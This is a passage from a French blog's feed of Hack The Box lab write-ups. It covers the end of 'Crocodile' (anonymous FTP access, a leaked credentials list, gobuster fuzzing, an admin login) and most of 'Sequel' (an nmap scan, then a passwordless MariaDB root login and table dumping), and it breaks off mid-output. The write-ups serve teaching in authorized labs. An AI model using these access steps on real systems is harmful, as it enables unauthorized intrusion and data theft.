<p>Login : <code>anonymous</code>, mot de passe vide.</p>
<p><img decoding="async" loading="lazy" alt="Login FTP réussi" src="https://mohamedoutougane.com/assets/images/image3-a630c9da2c7efc8e7a9aa778312b17a4.png" width="307" height="164" class="img_ev3q"></p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">230 Login successful.</span><br></span></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="Téléchargement des fichiers" src="https://mohamedoutougane.com/assets/images/image4-a4b0cdd82852e2f845fa69a26f6fb69b.png" width="1342" height="341" class="img_ev3q"></p>
<p>On récupère les deux fichiers avec <code>get</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="analyse-des-fichiers">Analyse des fichiers<a href="https://mohamedoutougane.com/writeups/crocodile#analyse-des-fichiers" class="hash-link" aria-label="Lien direct vers Analyse des fichiers" title="Lien direct vers Analyse des fichiers" translate="no">​</a></h3>
<p><img decoding="async" loading="lazy" alt="Contenu des fichiers credentials" src="https://mohamedoutougane.com/assets/images/image5-02861cc85d387c7f24b174d3a72ccbd2.png" width="330" height="229" class="img_ev3q"></p>
<p>On y trouve une liste d'utilisateurs (admin, aron, pwnmeow, etc.) et une liste de mots de passe. C'est une mine d'or !</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="analyse-de-la-page-web">Analyse de la page web<a href="https://mohamedoutougane.com/writeups/crocodile#analyse-de-la-page-web" class="hash-link" aria-label="Lien direct vers Analyse de la page web" title="Lien direct vers Analyse de la page web" translate="no">​</a></h3>
<p>En naviguant vers l'IP sur le port 80 :</p>
<p><img decoding="async" loading="lazy" alt="Site web Crocodile" src="https://mohamedoutougane.com/assets/images/image6-c2c72b8420e12dd23c8a0f9117a65575.png" width="1576" height="600" class="img_ev3q"></p>
<p>L'extension Wappalyzer indique une stack PHP. On cherche une page de connexion.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="fuzzing-des-répertoires-avec-gobuster">Fuzzing des répertoires avec Gobuster<a href="https://mohamedoutougane.com/writeups/crocodile#fuzzing-des-r%C3%A9pertoires-avec-gobuster" class="hash-link" aria-label="Lien direct vers Fuzzing des répertoires avec Gobuster" title="Lien direct vers Fuzzing des répertoires avec Gobuster" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">gobuster </span><span class="token function" style="color:#d73a49">dir</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">--url</span><span class="token plain"> http://10.129.1.15/ </span><span class="token parameter variable" style="color:#36acaa">--wordlist</span><span class="token plain"> /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt </span><span class="token parameter variable" style="color:#36acaa">-x</span><span class="token plain"> php,html</span><br></span></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="Résultats Gobuster" src="https://mohamedoutougane.com/assets/images/image7-447e0f1ff98e2ff4d432a83cc632b35a.png" width="1018" height="490" class="img_ev3q"></p>
<p>Gobuster trouve <code>login.php</code>.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/crocodile#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<p>En navigant vers <code>http://10.129.1.15/login.php</code> :</p>
<p><img decoding="async" loading="lazy" alt="Page login.php" src="https://mohamedoutougane.com/assets/images/image8-855a4e23a9a717fe7cccfc5de5d474e8.png" width="1276" height="481" class="img_ev3q"></p>
<p>On essaie le compte <code>admin</code> avec le premier mot de passe de la liste.</p>
<p><img decoding="async" loading="lazy" alt="Accès admin et flag" src="https://mohamedoutougane.com/assets/images/image9-01a1d9fc221134296458d0aade060950.png" width="1272" height="756" class="img_ev3q"></p>
<p>La connexion fonctionne ! Le flag est affiché sur le tableau de bord.</p>
<p>La machine est <strong>pwned</strong> !</p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Web</category>
            <category>Linux</category>
            <category>Tier 1</category>
        </item>
        <item>
            <title><![CDATA[Sequel]]></title>
            <link>https://mohamedoutougane.com/writeups/sequel</link>
            <guid>https://mohamedoutougane.com/writeups/sequel</guid>
            <pubDate>Mon, 19 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Comment discuter avec une base de données?]]></description>
            <content:encoded><![CDATA[<p>Bienvenue sur <strong>Sequel</strong>. Cette machine est un excellent exercice pour comprendre comment interagir avec le service <strong>MariaDB</strong> en ligne de commande. C'est un scénario assez simple, un administrateur a installé un serveur de base de données, mais il a oublié un "petit" détail… mettre un mot de passe au compte super-utilisateur (<strong>root</strong>).</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant. Si vous voulez le flag, suivez les étapes sur la machine.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation (ex. machines HTB, ou lab perso). Respectez les règles de la plateforme.</p></div></div>
<p><a href="https://www.youtube.com/@Raven_Breach/videos" target="_blank" rel="noopener noreferrer" class="">▶ RavenBreach sur YouTube</a></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconaissance">Reconaissance<a href="https://mohamedoutougane.com/writeups/sequel#reconaissance" class="hash-link" aria-label="Lien direct vers Reconaissance" title="Lien direct vers Reconaissance" translate="no">​</a></h2>
<p>On commence par notre rituel habituel, le scan <code>Nmap</code>. On veut savoir ce qui tourne et dans quelle version.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌──</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">kali㉿kali</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">-</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└─$ nmap </span><span class="token parameter variable" style="color:#36acaa">-sC</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.33.220</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Starting Nmap </span><span class="token number" style="color:#36acaa">7.98</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"> https://nmap.org </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> at </span><span class="token number" style="color:#36acaa">2026</span><span class="token plain">-01-19 07:39 </span><span class="token parameter variable" style="color:#36acaa">-0500</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Nmap scan report </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.33.220</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Host is up </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0</span><span class="token plain">.015s latency</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Not shown: </span><span class="token number" style="color:#36acaa">999</span><span class="token plain"> closed tcp ports </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">reset</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT     STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">3306</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  mysql?</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> mysql-info: </span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">   Protocol: </span><span class="token number" style="color:#36acaa">10</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">   Version: </span><span class="token number" style="color:#36acaa">5.5</span><span class="token plain">.5-10.3.27-MariaDB-0+deb10u1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">   Thread ID: </span><span class="token number" style="color:#36acaa">65</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">   Capabilities flags: </span><span class="token number" style="color:#36acaa">63486</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">   Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, LongColumnFlag, ODBCClient, Speaks41ProtocolOld, ConnectWithDatabase, Speaks41ProtocolNew, SupportsTransactions, InteractiveClient, IgnoreSpaceBeforeParenthesis, SupportsCompression, IgnoreSigpipes, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">   Status: Autocommit</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">   Salt: V_X</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain">%?QYLN%ic7%ST.%l</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">_  Auth Plugin Name: mysql_native_password</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ </span><span class="token builtin class-name">.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Nmap done: </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> IP address </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">host</span><span class="token plain"> up</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> scanned </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">204.96</span><span class="token plain"> seconds</span><br></span></code></pre></div></div>
<ul>
<li class=""><code>-sC</code> : Lance les scripts de détection par défaut (très utile pour voir si un service accepte les connexions anonymes).</li>
<li class=""><code>-sV</code> : Détecte la version exacte du service.</li>
</ul>
<p>Résultat du scan, On ne trouve qu'un seul port ouvert : le <strong>3306</strong>. Le service est <strong>MariaDB</strong> (version 5.5.5–10.3.27-MariaDB-0+deb10u1).</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/sequel#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="installation-du-client">Installation du client<a href="https://mohamedoutougane.com/writeups/sequel#installation-du-client" class="hash-link" aria-label="Lien direct vers Installation du client" title="Lien direct vers Installation du client" translate="no">​</a></h3>
<p>Pour pouvoir parler à la cible, il nous faut l'outil approprié sur notre machine locale. Si vous ne l'avez pas, installez le client <strong>MySQL</strong> (qui fonctionne avec mariaDB).</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">★</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">$ </span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">apt</span><span class="token plain"> update </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">apt</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">install</span><span class="token plain"> mysql*</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-test-de-la-porte-ouverte">Le test de la "porte ouverte"<a href="https://mohamedoutougane.com/writeups/sequel#le-test-de-la-porte-ouverte" class="hash-link" aria-label="Lien direct vers Le test de la &quot;porte ouverte&quot;" title="Lien direct vers Le test de la &quot;porte ouverte&quot;" translate="no">​</a></h3>
<p>En sécurité, avant de sortir les outils compliqués, on teste toujours la base. MariaDB utilise normalement un combo <strong>utilisateur / mot de passe</strong>. Mais est-ce que le compte <strong>root</strong> (celui qui a tous les droits) est protégé ?</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌──</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">kali㉿kali</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">-</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└─$ mysql </span><span class="token parameter variable" style="color:#36acaa">-h</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.33.220 </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> root</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Welcome to the MariaDB monitor.  Commands end with </span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> or </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">g.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Your MariaDB connection </span><span class="token function" style="color:#d73a49">id</span><span class="token plain"> is </span><span class="token number" style="color:#36acaa">77</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Server version: </span><span class="token number" style="color:#36acaa">10.3</span><span class="token plain">.27-MariaDB-0+deb10u1 Debian </span><span class="token number" style="color:#36acaa">10</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Copyright </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">c</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2000</span><span class="token plain">, </span><span class="token number" style="color:#36acaa">2018</span><span class="token plain">, Oracle, MariaDB Corporation Ab and others.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Type </span><span class="token string" style="color:#e3116c">'help;'</span><span class="token plain"> or </span><span class="token string" style="color:#e3116c">'\h'</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> help. Type </span><span class="token string" style="color:#e3116c">'\c'</span><span class="token plain"> to </span><span class="token function" style="color:#d73a49">clear</span><span class="token plain"> the current input statement.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">MariaDB </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">none</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">&gt;</span><br></span></code></pre></div></div>
<ul>
<li class=""><code>-h</code> : L'adresse IP de la cible.</li>
<li class=""><code>-u root</code> : On tente de se connecter en tant qu'administrateur.</li>
</ul>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Si vous avez une erreur lié au SSL, utilisé le flag <code>--skip-ssl</code> a la fin de la commande</p></div></div>
<p>La connexion est acceptée immédiatement sans demander de mot de passe. On est dans le terminal MariaDB !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/sequel#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<p>Maintenant qu'on est à l'intérieur, il faut savoir naviguer. Le langage SQL utilise des commandes très spécifiques. Voici notre feuille de route :</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-lister-les-bases-de-données">1. Lister les bases de données<a href="https://mohamedoutougane.com/writeups/sequel#1-lister-les-bases-de-donn%C3%A9es" class="hash-link" aria-label="Lien direct vers 1. Lister les bases de données" title="Lien direct vers 1. Lister les bases de données" translate="no">​</a></h3>
<p>On veut voir quels sont les "classeurs" disponibles sur ce serveur.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">MariaDB </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">none</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> SHOW databases</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">+--------------------+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> Database           </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">+--------------------+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> htb                </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> information_schema </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> mysql              </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> performance_schema </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">+--------------------+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> rows </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token builtin class-name">set</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0.017</span><span class="token plain"> sec</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>On repère une base nommée <strong>htb</strong>. C'est clairement notre cible.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-entrer-dans-la-base">2. Entrer dans la base<a href="https://mohamedoutougane.com/writeups/sequel#2-entrer-dans-la-base" class="hash-link" aria-label="Lien direct vers 2. Entrer dans la base" title="Lien direct vers 2. Entrer dans la base" translate="no">​</a></h3>
<p>C'est l'équivalent d'un cd dans un terminal.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">MariaDB </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">none</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> USE htb</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Reading table information </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> completion of table and </span><span class="token function" style="color:#d73a49">column</span><span class="token plain"> names</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">You can turn off this feature to get a quicker startup with </span><span class="token parameter variable" style="color:#36acaa">-A</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Database changed</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">MariaDB </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">&gt;</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-lister-les-tables">3. Lister les tables<a href="https://mohamedoutougane.com/writeups/sequel#3-lister-les-tables" class="hash-link" aria-label="Lien direct vers 3. Lister les tables" title="Lien direct vers 3. Lister les tables" translate="no">​</a></h3>
<p>Une base de données contient des tables (comme des feuilles Excel). Voyons ce qu'il y a dans <strong>htb</strong>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">MariaDB </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> SHOW tables</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">+---------------+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> Tables_in_htb </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">+---------------+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> config        </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">users</span><span class="token plain">         </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">+---------------+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> rows </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token builtin class-name">set</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0.012</span><span class="token plain"> sec</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>Le serveur nous renvoie deux tables : <strong>config</strong> et <strong>users</strong></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-extraire-les-données">4. Extraire les données<a href="https://mohamedoutougane.com/writeups/sequel#4-extraire-les-donn%C3%A9es" class="hash-link" aria-label="Lien direct vers 4. Extraire les données" title="Lien direct vers 4. Extraire les données" translate="no">​</a></h3>
<p>C'est le moment de vérité. On va demander d'afficher tout le contenu de la table <strong>config</strong> pour voir si le flag s'y cache.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">MariaDB </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> SELECT * FROM config</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">+----+-----------------------+----------------------------------+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">id</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> name                  </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> value                            </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">+----+-----------------------+----------------------------------+</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">timeout</span><span class="token plain">               </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> 60s                              </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token 